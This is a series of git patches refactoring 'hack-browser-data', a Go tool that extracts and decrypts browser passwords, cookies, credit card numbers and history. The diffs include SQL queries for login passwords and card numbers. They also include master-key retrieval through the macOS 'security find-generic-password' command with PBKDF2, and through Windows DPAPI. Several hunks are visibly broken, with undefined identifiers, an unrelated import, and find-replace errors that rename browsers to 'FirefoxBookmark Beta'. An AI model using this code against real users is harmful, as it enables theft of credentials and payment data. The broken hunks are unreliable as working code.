queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards`
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
@@ -34,13 +77,6 @@ type (
LoginUrl string
CreateDate time.Time
}
- bookmark struct {
- ID int64
- Name string
- Type string
- URL string
- DateAdded time.Time
- }
cookie struct {
Host string
Path string
diff --git a/internal/data/cookie.go b/internal/browingdata/cookie.go
similarity index 99%
rename from internal/data/cookie.go
rename to internal/browingdata/cookie.go
index c3f098e..c212787 100644
--- a/internal/data/cookie.go
+++ b/internal/browingdata/cookie.go
@@ -1,4 +1,4 @@
-package data
+package browingdata
import (
"database/sql"
diff --git a/internal/data/creditcard.go b/internal/browingdata/creditcard.go
similarity index 98%
rename from internal/data/creditcard.go
rename to internal/browingdata/creditcard.go
index 10085d8..e0a02f4 100644
--- a/internal/data/creditcard.go
+++ b/internal/browingdata/creditcard.go
@@ -1,4 +1,4 @@
-package data
+package browingdata
import (
"database/sql"
diff --git a/internal/data/download.go b/internal/browingdata/download.go
similarity index 99%
rename from internal/data/download.go
rename to internal/browingdata/download.go
index debadb5..aec3d58 100644
--- a/internal/data/download.go
+++ b/internal/browingdata/download.go
@@ -1,4 +1,4 @@
-package data
+package browingdata
import (
"database/sql"
diff --git a/internal/data/history.go b/internal/browingdata/history.go
similarity index 99%
rename from internal/data/history.go
rename to internal/browingdata/history.go
index 3f0c5de..ee6d64e 100644
--- a/internal/data/history.go
+++ b/internal/browingdata/history.go
@@ -1,4 +1,4 @@
-package data
+package browingdata
import (
"database/sql"
diff --git a/internal/data/password.go b/internal/browingdata/password.go
similarity index 99%
rename from internal/data/password.go
rename to internal/browingdata/password.go
index 1de6742..b9cc717 100644
--- a/internal/data/password.go
+++ b/internal/browingdata/password.go
@@ -1,4 +1,4 @@
-package data
+package browingdata
import (
"bytes"
diff --git a/internal/browser/browser.go b/internal/browser/browser.go
index d520b8d..baff2fc 100644
--- a/internal/browser/browser.go
+++ b/internal/browser/browser.go
@@ -4,7 +4,8 @@ import (
"os"
"strings"
- "hack-browser-data/internal/data"
+ "hack-browser-data/internal/browingdata"
+ "hack-browser-data/internal/browser/chromium"
)
type Browser interface {
@@ -12,13 +13,13 @@ type Browser interface {
GetMasterKey() ([]byte, error)
- GetBrowsingData() []data.BrowsingData
+ GetBrowsingData() []browingdata.Source
CopyItemFileToLocal() error
}
var (
- // home dir path not for android and ios
+ // home dir path for all platforms
homeDir, _ = os.UserHomeDir()
)
@@ -43,8 +44,8 @@ func pickChromium(name string) []Browser {
var browsers []Browser
name = strings.ToLower(name)
if name == "all" {
- for _, choice := range chromiumList {
- if b, err := newChromium(choice.browserInfo, choice.items); err == nil {
+ for _, c := range chromiumList {
+ if b, err := chromium.New(c.name, c.profilePath, c.storage, c.items); err == nil {
browsers = append(browsers, b)
} else {
if strings.Contains(err.Error(), "profile path is not exist") {
@@ -95,30 +96,20 @@ func ListBrowser() []string {
return l
}
-func isFileExist(path string) bool {
- if _, err := os.Stat(path); os.IsNotExist(err) {
- return false
- }
- return true
-}
-
type browserInfo struct {
- name string
- storage string
- profilePath string
- masterKey []byte
+ masterKey []byte
}
const (
chromeName = "Chrome"
chromeBetaName = "Chrome Beta"
- chromiumName = "Chromium"
+ chromiumName = "ChromiumBookmark"
edgeName = "Microsoft Edge"
- firefoxName = "Firefox"
- firefoxBetaName = "Firefox Beta"
- firefoxDevName = "Firefox Dev"
- firefoxNightlyName = "Firefox Nightly"
- firefoxESRName = "Firefox ESR"
+ firefoxName = "FirefoxBookmark"
+ firefoxBetaName = "FirefoxBookmark Beta"
+ firefoxDevName = "FirefoxBookmark Dev"
+ firefoxNightlyName = "FirefoxBookmark Nightly"
+ firefoxESRName = "FirefoxBookmark ESR"
speed360Name = "360speed"
qqBrowserName = "QQ"
braveName = "Brave"
diff --git a/internal/browser/browser_darwin.go b/internal/browser/browser_darwin.go
index d582ca1..29a1e48 100644
--- a/internal/browser/browser_darwin.go
+++ b/internal/browser/browser_darwin.go
@@ -1,121 +1,104 @@
package browser
import (
- "bytes"
- "crypto/sha1"
- "errors"
- "os/exec"
-
- "golang.org/x/crypto/pbkdf2"
-
"hack-browser-data/internal/item"
)
var (
chromiumList = map[string]struct {
- browserInfo *browserInfo
+ name string
+ storage string
+ profilePath string
items []item.Item
}{
"chrome": {
- browserInfo: chromeInfo,
+ name: chromeName,
+ storage: chromeStorageName,
+ profilePath: chromeProfilePath,
items: item.DefaultChromium,
},
"edge": {
- browserInfo: edgeInfo,
+ name: edgeName,
+ storage: edgeStorageName,
+ profilePath: edgeProfilePath,
items: item.DefaultChromium,
},
"chromium": {
- browserInfo: chromiumInfo,
+ name: chromiumName,
+ storage: chromiumStorageName,
+ profilePath: chromiumProfilePath,
items: item.DefaultChromium,
},
"chrome-beta": {
- browserInfo: chromeBetaInfo,
+ name: chromeBetaName,
+ storage: chromeBetaStorageName,
+ profilePath: chromeBetaProfilePath,
items: item.DefaultChromium,
},
"opera": {
- browserInfo: operaInfo,
+ name: operaName,
+ profilePath: operaProfilePath,
+ storage: operaStorageName,
items: item.DefaultChromium,
},
"opera-gx": {
- browserInfo: operaGXInfo,
+ name: operaGXName,
+ profilePath: operaGXProfilePath,
+ storage: operaStorageName,
items: item.DefaultChromium,
},
"vivaldi": {
- browserInfo: vivaldiInfo,
+ name: vivaldiName,
+ storage: vivaldiStorageName,
+ profilePath: vivaldiProfilePath,
items: item.DefaultChromium,
},
"coccoc": {
- browserInfo: coccocInfo,
+ name: coccocName,
+ storage: coccocStorageName,
+ profilePath: coccocProfilePath,
items: item.DefaultChromium,
},
"brave": {
- browserInfo: braveInfo,
+ name: braveName,
+ profilePath: braveProfilePath,
+ storage: braveStorageName,
items: item.DefaultChromium,
},
"yandex": {
- browserInfo: yandexInfo,
+ name: yandexName,
+ storage: yandexStorageName,
+ profilePath: yandexProfilePath,
items: item.DefaultYandex,
},
}
firefoxList = map[string]struct {
- browserInfo *browserInfo
+ name string
+ storage string
+ profilePath string
items []item.Item
}{
"firefox": {
- browserInfo: firefoxInfo,
- items: defaultFirefoxItems,
+ name: firefoxName,
+ profilePath: firefoxProfilePath,
+ items: item.DefaultFirefox,
},
}
)
var (
- ErrWrongSecurityCommand = errors.New("macOS wrong security command")
-)
+ chromeProfilePath = homeDir + "/Library/Application Support/Google/Chrome/"
+ chromeBetaProfilePath = homeDir + "/Library/Application Support/Google/Chrome Beta/"
+ chromiumProfilePath = homeDir + "/Library/Application Support/Chromium/"
+ edgeProfilePath = homeDir + "/Library/Application Support/Microsoft Edge/"
+ braveProfilePath = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser/"
+ operaProfilePath = homeDir + "/Library/Application Support/com.operasoftware.Opera/"
+ operaGXProfilePath = homeDir + "/Library/Application Support/com.operasoftware.OperaGX/"
+ vivaldiProfilePath = homeDir + "/Library/Application Support/Vivaldi/"
+ coccocProfilePath = homeDir + "/Library/Application Support/Coccoc/"
+ yandexProfilePath = homeDir + "/Library/Application Support/Yandex/YandexBrowser/"
-func (c *chromium) GetMasterKey() ([]byte, error) {
- var (
- cmd *exec.Cmd
- stdout, stderr bytes.Buffer
- )
- // $ security find-generic-password -wa 'Chrome'
- cmd = exec.Command("security", "find-generic-password", "-wa", c.browserInfo.storage)
- cmd.Stdout = &stdout
- cmd.Stderr = &stderr
- err := cmd.Run()
- if err != nil {
- return nil, err
- }
- if stderr.Len() > 0 {
- return nil, errors.New(stderr.String())
- }
- temp := stdout.Bytes()
- chromeSecret := temp[:len(temp)-1]
- if chromeSecret == nil {
- return nil, ErrWrongSecurityCommand
- }
- var chromeSalt = []byte("saltysalt")
- // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
- key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)
- if key != nil {
- c.browserInfo.masterKey = key
- return key, nil
- }
- return nil, errors.New("macOS wrong security command")
-}
-
-const (
- chromeProfilePath = "/Library/Application Support/Google/Chrome/"
- chromeBetaProfilePath = "/Library/Application Support/Google/Chrome Beta/"
- chromiumProfilePath = "/Library/Application Support/Chromium/"
- edgeProfilePath = "/Library/Application Support/Microsoft Edge/"
- braveProfilePath = "/Library/Application Support/BraveSoftware/Brave-Browser/"
- operaProfilePath = "/Library/Application Support/com.operasoftware.Opera/"
- operaGXProfilePath = "/Library/Application Support/com.operasoftware.OperaGX/"
- vivaldiProfilePath = "/Library/Application Support/Vivaldi/"
- coccocProfilePath = "/Library/Application Support/Coccoc/"
- yandexProfilePath = "/Library/Application Support/Yandex/YandexBrowser/"
-
- firefoxProfilePath = "/Library/Application Support/Firefox/Profiles/"
+ firefoxProfilePath = homeDir + "/Library/Application Support/Firefox/Profiles/"
)
const (
@@ -129,60 +112,3 @@ const (
coccocStorageName = "CocCoc"
yandexStorageName = "Yandex"
)
-
-var (
- chromeInfo = &browserInfo{
- name: chromeName,
- storage: chromeStorageName,
- profilePath: chromeProfilePath,
- }
- chromiumInfo = &browserInfo{
- name: chromiumName,
- storage: chromiumStorageName,
- profilePath: chromiumProfilePath,
- }
- chromeBetaInfo = &browserInfo{
- name: chromeBetaName,
- storage: chromeBetaStorageName,
- profilePath: chromeBetaProfilePath,
- }
- operaInfo = &browserInfo{
- name: operaName,
- profilePath: operaProfilePath,
- storage: operaStorageName,
- }
- operaGXInfo = &browserInfo{
- name: operaGXName,
- profilePath: operaGXProfilePath,
- storage: operaStorageName,
- }
- edgeInfo = &browserInfo{
- name: edgeName,
- storage: edgeStorageName,
- profilePath: edgeProfilePath,
- }
- braveInfo = &browserInfo{
- name: braveName,
- profilePath: braveProfilePath,
- storage: braveStorageName,
- }
- vivaldiInfo = &browserInfo{
- name: vivaldiName,
- storage: vivaldiStorageName,
- profilePath: vivaldiProfilePath,
- }
- coccocInfo = &browserInfo{
- name: coccocName,
- storage: coccocStorageName,
- profilePath: coccocProfilePath,
- }
- yandexInfo = &browserInfo{
- name: yandexName,
- storage: yandexStorageName,
- profilePath: yandexProfilePath,
- }
- firefoxInfo = &browserInfo{
- name: firefoxName,
- profilePath: firefoxProfilePath,
- }
-)
diff --git a/internal/browser/browser_windows.go b/internal/browser/browser_windows.go
index 3f8e91b..03bb126 100644
--- a/internal/browser/browser_windows.go
+++ b/internal/browser/browser_windows.go
@@ -1,16 +1,7 @@
package browser
import (
- "encoding/base64"
- "errors"
-
- "github.com/tidwall/gjson"
-
- "hack-browser-data/internal/browser/item"
-
- "hack-browser-data/internal/decrypter"
item2 "hack-browser-data/internal/item"
- "hack-browser-data/internal/utils"
)
var (
@@ -42,27 +33,6 @@ var (
}
)
-var (
- errDecodeMasterKeyFailed = errors.New("decode master key failed")
-)
-
-func (c *chromium) GetMasterKey() ([]byte, error) {
- keyFile, err := utils.ReadFile(item.TempChromiumKey)
- if err != nil {
- return nil, err
- }
- encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key")
- if encryptedKey.Exists() {
- pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
- if err != nil {
- return nil, errDecodeMasterKeyFailed
- }
- c.browserInfo.masterKey, err = decrypter.DPApi(pureKey[5:])
- return c.browserInfo.masterKey, err
- }
- return nil, nil
-}
-
var (
chromeInfo = &browserInfo{
name: chromeName,
diff --git a/internal/browser/chromium/chromium.go b/internal/browser/chromium/chromium.go
index ae87642..1fceacf 100644
--- a/internal/browser/chromium/chromium.go
+++ b/internal/browser/chromium/chromium.go
@@ -4,12 +4,13 @@ import (
"fmt"
"io/ioutil"
"os"
- "path"
"path/filepath"
"strings"
- "hack-browser-data/internal/data"
+ "hack-browser-data/internal/browingdata"
"hack-browser-data/internal/item"
+ "hack-browser-data/internal/utils/fileutil"
+ "hack-browser-data/internal/utils/typeutil"
)
type chromium struct {
@@ -21,24 +22,26 @@ type chromium struct {
itemPaths map[item.Item]string
}
-// New 根据浏览器信息生成 Browser Interface
+// New creates a new instance of chromium browser, fill item's path if item is exist.
func New(name, storage, profilePath string, items []item.Item) (*chromium, error) {
+
+ // TODO: Handle file path is not exist
+ if !fileutil.FolderExists(profilePath) {
+ return nil, fmt.Errorf("%s profile path is not exist: %s", name, profilePath)
+ }
+ itemsPaths, err := getChromiumItemPath(profilePath, items)
+ if err != nil {
+ return nil, err
+ }
+
c := &chromium{
name: name,
storage: storage,
profilePath: profilePath,
- items: items,
+ items: typeutil.Keys(itemsPaths),
+ itemPaths: itemsPaths,
}
- absProfilePath := path.Join(homeDir, filepath.Clean(c.ProfilePath))
- // TODO: Handle file path is not exist
- if !isFileExist(absProfilePath) {
- return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
- }
- itemsPaths, err := getChromiumItemPath(absProfilePath, c.items)
- if err != nil {
- return nil, err
- }
- c.itemPaths = itemsPaths
+ // new browsing data
return c, err
}
@@ -46,8 +49,9 @@ func (c *chromium) GetName() string {
return c.name
}
-func (c *chromium) GetBrowsingData() []data.BrowsingData {
- var browsingData []data.BrowsingData
+func (c *chromium) GetBrowsingData() []browingdata.Source {
+ var browsingData []browingdata.Source
+ data := browingdata.New(c.items)
for item := range c.itemPaths {
d := item.NewBrowsingData()
if d != nil {
@@ -95,9 +99,10 @@ func chromiumWalkFunc(items []item.Item, itemPaths map[item.Item]string) filepat
for _, it := range items {
switch {
case it.FileName() == info.Name():
- if it == it.chromiumKey {
+ if it == item.ChromiumKey {
itemPaths[it] = path
}
+ // TODO: Handle file path is not in Default folder
if strings.Contains(path, "Default") {
itemPaths[it] = path
}
diff --git a/internal/browser/chromium/chromium_darwin.go b/internal/browser/chromium/chromium_darwin.go
new file mode 100644
index 0000000..cb39885
--- /dev/null
+++ b/internal/browser/chromium/chromium_darwin.go
@@ -0,0 +1,45 @@
+package chromium
+
+import (
+ "bytes"
+ "crypto/sha1"
+ "errors"
+ "os/exec"
+
+ "golang.org/x/crypto/pbkdf2"
+)
+
+var (
+ ErrWrongSecurityCommand = errors.New("macOS wrong security command")
+)
+
+func (c *chromium) GetMasterKey() ([]byte, error) {
+ var (
+ cmd *exec.Cmd
+ stdout, stderr bytes.Buffer
+ )
+ // $ security find-generic-password -wa 'Chrome'
+ cmd = exec.Command("security", "find-generic-password", "-wa", c.storage)
+ cmd.Stdout = &stdout
+ cmd.Stderr = &stderr
+ err := cmd.Run()
+ if err != nil {
+ return nil, err
+ }
+ if stderr.Len() > 0 {
+ return nil, errors.New(stderr.String())
+ }
+ temp := stdout.Bytes()
+ chromeSecret := temp[:len(temp)-1]
+ if chromeSecret == nil {
+ return nil, ErrWrongSecurityCommand
+ }
+ var chromeSalt = []byte("saltysalt")
+ // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
+ key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)
+ if key != nil {
+ c.browserInfo.masterKey = key
+ return key, nil
+ }
+ return nil, errors.New("macOS wrong security command")
+}
diff --git a/internal/browser/chromium/chromium_linux.go b/internal/browser/chromium/chromium_linux.go
new file mode 100644
index 0000000..731c7bf
--- /dev/null
+++ b/internal/browser/chromium/chromium_linux.go
@@ -0,0 +1 @@
+package chromium
diff --git a/internal/browser/chromium/chromium_windows.go b/internal/browser/chromium/chromium_windows.go
new file mode 100644
index 0000000..3301b63
--- /dev/null
+++ b/internal/browser/chromium/chromium_windows.go
@@ -0,0 +1,30 @@
+package chromium
+
+import (
+ "encoding/base64"
+ "errors"
+
+ "github.com/smallstep/cli/utils"
+ "github.com/tidwall/gjson"
+)
+
+var (
+ errDecodeMasterKeyFailed = errors.New("decode master key failed")
+)
+
+func (c *chromium) GetMasterKey() ([]byte, error) {
+ keyFile, err := utils.ReadFile(item.TempChromiumKey)
+ if err != nil {
+ return nil, err
+ }
+ encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key")
+ if encryptedKey.Exists() {
+ pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
+ if err != nil {
+ return nil, errDecodeMasterKeyFailed
+ }
+ c.browserInfo.masterKey, err = decrypter.DPApi(pureKey[5:])
+ return c.browserInfo.masterKey, err
+ }
+ return nil, nil
+}
diff --git a/internal/browser/firefox/firefox.go b/internal/browser/firefox/firefox.go
index 2a0d42a..6bba6e2 100644
--- a/internal/browser/firefox/firefox.go
+++ b/internal/browser/firefox/firefox.go
@@ -9,7 +9,7 @@ import (
"path/filepath"
"strings"
- "hack-browser-data/internal/data"
+ "hack-browser-data/internal/browingdata"
"hack-browser-data/internal/item"
)
@@ -117,8 +117,8 @@ func (f *firefox) GetName() string {
return f.name
}
-func (f *firefox) GetBrowsingData() []data.BrowsingData {
- var browsingData []data.BrowsingData
+func (f *firefox) GetBrowsingData() []browingdata.Source {
+ var browsingData []browingdata.Source
for item := range f.itemPaths {
d := item.NewBrowsingData()
if d != nil {
diff --git a/internal/decrypter/decrypter.go b/internal/decrypter/decrypter.go
index 27eb327..0bda414 100644
--- a/internal/decrypter/decrypter.go
+++ b/internal/decrypter/decrypter.go
@@ -16,8 +16,8 @@ import (
var (
errSecurityKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal")
errPasswordIsEmpty = errors.New("password is empty")
- errDecryptFailed = errors.New("decrypter encrypt value failed")
- errDecodeASN1Failed = errors.New("decode ASN1 data failed")
+ errDecryptFailed = errors.New("decrypt encrypted value failed")
+ errDecodeASN1Failed = errors.New("decode ASN1 browingdata failed")
errEncryptedLength = errors.New("length of encrypted password less than block size")
)
diff --git a/internal/item/item.go b/internal/item/item.go
index 30bb101..fc9e71f 100644
--- a/internal/item/item.go
+++ b/internal/item/item.go
@@ -1,7 +1,7 @@
package item
import (
- data2 "hack-browser-data/internal/data"
+ data2 "hack-browser-data/internal/browingdata"
)
var DefaultFirefox = []Item{
@@ -161,7 +161,9 @@ func (i Item) String() string {
}
}
-func (i Item) NewBrowsingData() data2.BrowsingData {
+// NewBrowsingData returns a new Source instance.
+// TODO: remove this function
+func (i Item) NewBrowsingData() data2.Source {
switch i {
case ChromiumKey:
return nil
diff --git a/internal/outputter/outputter.go b/internal/outputter/outputter.go
index 0d1ff63..dc45498 100644
--- a/internal/outputter/outputter.go
+++ b/internal/outputter/outputter.go
@@ -10,7 +10,7 @@ import (
"github.com/gocarina/gocsv"
jsoniter "github.com/json-iterator/go"
- "hack-browser-data/internal/data"
+ "hack-browser-data/internal/browingdata"
)
type outPutter struct {
@@ -35,7 +35,7 @@ func (o *outPutter) MakeDir(dir string) error {
return nil
}
-func (o *outPutter) Write(data data.BrowsingData, writer *os.File) error {
+func (o *outPutter) Write(data browingdata.Source, writer *os.File) error {
switch o.json {
case true:
encoder := jsoniter.NewEncoder(writer)
diff --git a/internal/utils/fileutil/filetutil.go b/internal/utils/fileutil/filetutil.go
new file mode 100644
index 0000000..87f30e5
--- /dev/null
+++ b/internal/utils/fileutil/filetutil.go
@@ -0,0 +1,36 @@
+package fileutil
+
+import (
+ "io/ioutil"
+ "os"
+)
+
+// FileExists checks if the file exists in the provided path
+func FileExists(filename string) bool {
+ info, err := os.Stat(filename)
+ if os.IsNotExist(err) {
+ return false
+ }
+ if err != nil {
+ return false
+ }
+ return !info.IsDir()
+}
+
+// FolderExists checks if the folder exists
+func FolderExists(foldername string) bool {
+ info, err := os.Stat(foldername)
+ if os.IsNotExist(err) {
+ return false
+ }
+ if err != nil {
+ return false
+ }
+ return info.IsDir()
+}
+
+// ReadFile reads the file from the provided path
+func ReadFile(filename string) (string, error) {
+ s, err := ioutil.ReadFile(filename)
+ return string(s), err
+}
diff --git a/internal/utils/typeutil/typeutil.go b/internal/utils/typeutil/typeutil.go
new file mode 100644
index 0000000..9512822
--- /dev/null
+++ b/internal/utils/typeutil/typeutil.go
@@ -0,0 +1,10 @@
+package typeutil
+
+// Keys returns a slice of the keys of the map. based with go 1.18 generics
+func Keys[K comparable, V any](m map[K]V) []K {
+ r := make([]K, 0, len(m))
+ for k := range m {
+ r = append(r, k)
+ }
+ return r
+}
\ No newline at end of file
diff --git a/internal/utils/utils.go b/internal/utils/utils.go
index 9b2e98c..ae55d6d 100644
--- a/internal/utils/utils.go
+++ b/internal/utils/utils.go
@@ -53,11 +53,6 @@ func TimeEpochFormat(epoch int64) time.Time {
return t
}
-func ReadFile(filename string) (string, error) {
- s, err := ioutil.ReadFile(filename)
- return string(s), err
-}
-
func WriteFile(filename string, data []byte) error {
err := ioutil.WriteFile(filename, data, 0644)
if err != nil {
From 580ff78ad33297b9ee57d3bcf8c14c69a682e92e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Sun, 10 Apr 2022 18:34:38 +0800
Subject: [PATCH 16/33] fix: mkdir when creat file
---
internal/outputter/outputter.go | 17 ++++-------------
internal/outputter/outputter_test.go | 22 ++++++++++++++++++++++
2 files changed, 26 insertions(+), 13 deletions(-)
create mode 100644 internal/outputter/outputter_test.go
diff --git a/internal/outputter/outputter.go b/internal/outputter/outputter.go
index dc45498..ece26f0 100644
--- a/internal/outputter/outputter.go
+++ b/internal/outputter/outputter.go
@@ -28,14 +28,7 @@ func NewOutPutter(flag string) *outPutter {
return o
}
-func (o *outPutter) MakeDir(dir string) error {
- if _, err := os.Stat(dir); os.IsNotExist(err) {
- return os.Mkdir(dir, 0777)
- }
- return nil
-}
-
-func (o *outPutter) Write(data browingdata.Source, writer *os.File) error {
+func (o *outPutter) Write(data browingdata.Source, writer io.Writer) error {
switch o.json {
case true:
encoder := jsoniter.NewEncoder(writer)
@@ -48,17 +41,15 @@ func (o *outPutter) Write(data browingdata.Source, writer *os.File) error {
writer.Comma = ','
return gocsv.NewSafeCSVWriter(writer)
})
- return gocsv.MarshalFile(data, writer)
+ return gocsv.Marshal(data, writer)
}
}
-func (o *outPutter) CreateFile(dirname, filename string) (*os.File, error) {
+func (o *outPutter) CreateFile(dir, filename string) (*os.File, error) {
if filename == "" {
return nil, errors.New("empty filename")
}
- dir := filepath.Dir(filename)
-
if dir != "" {
if _, err := os.Stat(dir); os.IsNotExist(err) {
err := os.MkdirAll(dir, 0777)
@@ -70,7 +61,7 @@ func (o *outPutter) CreateFile(dirname, filename string) (*os.File, error) {
var file *os.File
var err error
- p := filepath.Join(dirname, filename)
+ p := filepath.Join(dir, filename)
file, err = os.OpenFile(p, os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
if err != nil {
return nil, err
diff --git a/internal/outputter/outputter_test.go b/internal/outputter/outputter_test.go
new file mode 100644
index 0000000..ed37e85
--- /dev/null
+++ b/internal/outputter/outputter_test.go
@@ -0,0 +1,22 @@
+package outputter
+
+import (
+ "os"
+ "testing"
+)
+
+func TestNewOutPutter(t *testing.T) {
+ out := NewOutPutter("json")
+ if out == nil {
+ t.Error("NewOutPutter() returned nil")
+ }
+ f, err := out.CreateFile("results", "test.json")
+ if err != nil {
+ t.Error("CreateFile() returned an error", err)
+ }
+ defer os.RemoveAll("results")
+ err = out.Write(nil, f)
+ if err != nil {
+ t.Error("Write() returned an error", err)
+ }
+}
From 46f2610a0afe9a508c1f6775a9dc86ae1e33af0d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Mon, 11 Apr 2022 15:53:19 +0800
Subject: [PATCH 17/33] feat: rename item temp filename
---
internal/browingdata/bookmark.go | 11 +-
internal/browingdata/browsingdata.go | 46 ++--
internal/browingdata/cookie.go | 11 +-
internal/browingdata/creditcard.go | 5 +-
internal/browingdata/download.go | 10 +-
internal/browingdata/history.go | 11 +-
internal/browingdata/password.go | 29 +--
internal/browser/browser.go | 40 ++-
internal/browser/browser_test.go | 160 ++++++------
internal/browser/chromium/chromium.go | 76 +++---
internal/browser/chromium/chromium_darwin.go | 11 +-
internal/browser/chromium/chromium_windows.go | 11 +-
internal/browser/firefox/firefox.go | 241 +++++++++---------
internal/item/filename.go | 25 ++
internal/item/item.go | 145 ++++-------
internal/utils/typeutil/typeutil.go | 2 +-
16 files changed, 413 insertions(+), 421 deletions(-)
diff --git a/internal/browingdata/bookmark.go b/internal/browingdata/bookmark.go
index 85ac150..723bf3b 100644
--- a/internal/browingdata/bookmark.go
+++ b/internal/browingdata/bookmark.go
@@ -3,6 +3,7 @@ package browingdata
import (
"database/sql"
"fmt"
+ "os"
"sort"
"time"
@@ -11,6 +12,8 @@ import (
"hack-browser-data/internal/item"
"hack-browser-data/internal/utils"
"hack-browser-data/internal/utils/fileutil"
+
+ _ "github.com/mattn/go-sqlite3"
)
type ChromiumBookmark []bookmark
@@ -24,10 +27,11 @@ type bookmark struct {
}
func (c *ChromiumBookmark) Parse(masterKey []byte) error {
- bookmarks, err := fileutil.ReadFile("bookmark")
+ bookmarks, err := fileutil.ReadFile(item.TempChromiumBookmark)
if err != nil {
return err
}
+ defer os.Remove(item.TempChromiumBookmark)
r := gjson.Parse(bookmarks)
if r.Exists() {
roots := r.Get("roots")
@@ -84,12 +88,13 @@ func (f *FirefoxBookmark) Parse(masterKey []byte) error {
keyDB *sql.DB
bookmarkRows *sql.Rows
)
- keyDB, err = sql.Open("sqlite3", item.FirefoxBookmarkFilename)
+ keyDB, err = sql.Open("sqlite3", item.TempFirefoxBookmark)
if err != nil {
return err
}
- _, err = keyDB.Exec(closeJournalMode)
+ defer os.RemoveAll(item.TempFirefoxBookmark)
defer keyDB.Close()
+ _, err = keyDB.Exec(closeJournalMode)
bookmarkRows, err = keyDB.Query(queryFirefoxBookMark)
if err != nil {
diff --git a/internal/browingdata/browsingdata.go b/internal/browingdata/browsingdata.go
index d81985d..7b2a9d1 100644
--- a/internal/browingdata/browsingdata.go
+++ b/internal/browingdata/browsingdata.go
@@ -6,8 +6,8 @@ import (
"hack-browser-data/internal/item"
)
-type BrowsingData struct {
- sources map[item.Item]Source
+type Data struct {
+ Sources map[item.Item]Source
}
type Source interface {
@@ -16,39 +16,49 @@ type Source interface {
Name() string
}
-func New(sources []item.Item) *BrowsingData {
- bd := &BrowsingData{
- sources: make(map[item.Item]Source),
+func New(sources []item.Item) *Data {
+ bd := &Data{
+ Sources: make(map[item.Item]Source),
}
bd.addSource(sources)
return bd
}
-func (b *BrowsingData) addSource(sources []item.Item) {
- for _, source := range sources {
+func (d *Data) Recovery(masterKey []byte) error {
+
+ for _, source := range d.Sources {
+ if err := source.Parse(masterKey); err != nil {
+ panic(err)
+ }
+ }
+ return nil
+}
+
+func (d *Data) addSource(Sources []item.Item) {
+ for _, source := range Sources {
switch source {
case item.ChromiumPassword:
- b.sources[source] = &ChromiumPassword{}
+ d.Sources[source] = &ChromiumPassword{}
case item.ChromiumCookie:
- b.sources[source] = &ChromiumCookie{}
+ d.Sources[source] = &ChromiumCookie{}
case item.ChromiumBookmark:
- b.sources[source] = &ChromiumBookmark{}
+ d.Sources[source] = &ChromiumBookmark{}
case item.ChromiumHistory:
- b.sources[source] = &ChromiumHistory{}
+ d.Sources[source] = &ChromiumHistory{}
case item.ChromiumDownload:
- b.sources[source] = &ChromiumDownload{}
+ d.Sources[source] = &ChromiumDownload{}
case item.ChromiumCreditCard:
- b.sources[source] = &ChromiumCreditCard{}
+ d.Sources[source] = &ChromiumCreditCard{}
case item.FirefoxPassword:
- b.sources[source] = &FirefoxPassword{}
+ d.Sources[source] = &FirefoxPassword{}
case item.FirefoxCookie:
- b.sources[source] = &FirefoxCookie{}
+ d.Sources[source] = &FirefoxCookie{}
case item.FirefoxBookmark:
- b.sources[source] = &FirefoxBookmark{}
+ d.Sources[source] = &FirefoxBookmark{}
case item.FirefoxHistory:
- b.sources[source] = &FirefoxHistory{}
+ d.Sources[source] = &FirefoxHistory{}
case item.FirefoxDownload:
- b.sources[source] = &FirefoxDownload{}
+ d.Sources[source] = &FirefoxDownload{}
}
}
}
diff --git a/internal/browingdata/cookie.go b/internal/browingdata/cookie.go
index c212787..775b1a3 100644
--- a/internal/browingdata/cookie.go
+++ b/internal/browingdata/cookie.go
@@ -3,23 +3,24 @@ package browingdata
import (
"database/sql"
"fmt"
+ "os"
"sort"
- "hack-browser-data/internal/browser/item"
+ _ "github.com/mattn/go-sqlite3"
"hack-browser-data/internal/decrypter"
+ "hack-browser-data/internal/item"
"hack-browser-data/internal/utils"
-
- _ "github.com/mattn/go-sqlite3"
)
type ChromiumCookie []cookie
func (c *ChromiumCookie) Parse(masterKey []byte) error {
- cookieDB, err := sql.Open("sqlite3", item.ChromiumCookieFilename)
+ cookieDB, err := sql.Open("sqlite3", item.TempChromiumCookie)
if err != nil {
return err
}
+ defer os.Remove(item.TempChromiumCookie)
defer cookieDB.Close()
rows, err := cookieDB.Query(queryChromiumCookie)
if err != nil {
@@ -79,7 +80,7 @@ func (c *ChromiumCookie) Name() string {
type FirefoxCookie []cookie
func (f *FirefoxCookie) Parse(masterKey []byte) error {
- cookieDB, err := sql.Open("sqlite3", item.FirefoxCookieFilename)
+ cookieDB, err := sql.Open("sqlite3", item.TempFirefoxCookie)
if err != nil {
return err
}
diff --git a/internal/browingdata/creditcard.go b/internal/browingdata/creditcard.go
index e0a02f4..2c19a8e 100644
--- a/internal/browingdata/creditcard.go
+++ b/internal/browingdata/creditcard.go
@@ -6,15 +6,14 @@ import (
_ "github.com/mattn/go-sqlite3"
- "hack-browser-data/internal/browser/item"
-
"hack-browser-data/internal/decrypter"
+ "hack-browser-data/internal/item"
)
type ChromiumCreditCard []card
func (c *ChromiumCreditCard) Parse(masterKey []byte) error {
- creditDB, err := sql.Open("sqlite3", item.TempChromiumCredit)
+ creditDB, err := sql.Open("sqlite3", item.TempChromiumCreditCard)
if err != nil {
return err
}
